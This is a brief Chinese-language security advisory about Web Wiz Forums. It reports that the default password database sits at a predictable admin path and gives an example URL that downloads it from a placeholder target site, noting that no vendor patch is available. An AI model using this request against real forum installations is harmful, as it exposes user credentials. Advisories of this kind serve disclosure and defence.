涉及程序： Web Wiz Forums 描述： Web Wiz Forums 存在密码泄露缺陷 详细： Web Wiz Forums是一款功能强大的免费ASP电子公告牌系统。由于在缺省的情况下，密码文件是存储在admin/wwforum.mdb文件中，攻击者通过向目标服务器提交精心构造的下列格式的临时HTTP能获得密码文件： http://www.target.com/forum/admin/wwforum.mdb 攻击方法： 示例代码： http://www.target.com/forum/admin/wwforum.mdb 解决方案： 目前厂商未公布该缺陷补丁，请用户及时关注厂商站点： http://www.webwizguide.info/